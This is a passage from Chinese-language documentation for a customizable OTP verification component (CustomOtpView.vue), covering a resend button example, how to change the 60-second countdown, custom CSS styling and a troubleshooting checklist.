<!-- 可以连续点击 -->
|
||||
<button class="custom-button" data-action="resend" data-countdown="false">立即重发</button>
|
||||
```
|
||||
|
||||
**Q: 如何修改倒计时时长?**
|
||||
A: 目前倒计时固定为60秒。如需修改,需要在前端代码中修改 `initialTime` 变量(CustomOtpView.vue 第728行)
|
||||
|
||||
**Q: 样式不生效?**
|
||||
A: 将CSS代码放入 `customStyles` 字段,确保选择器正确
|
||||
|
||||
---
|
||||
|
||||
## 技术支持
|
||||
|
||||
如有问题,请检查:
|
||||
1. WebSocket连接是否正常
|
||||
2. 浏览器控制台是否有错误信息
|
||||
3. 配置JSON格式是否正确
|
||||
4. HTML标签是否闭合完整
|
||||
|
||||
前端组件文件:`CustomOtpView.vue`
|
||||
关键函数:`bindInputEvents()`, `handleCustomInputEvent()`, `handleCustomButtonEvent()`
|
||||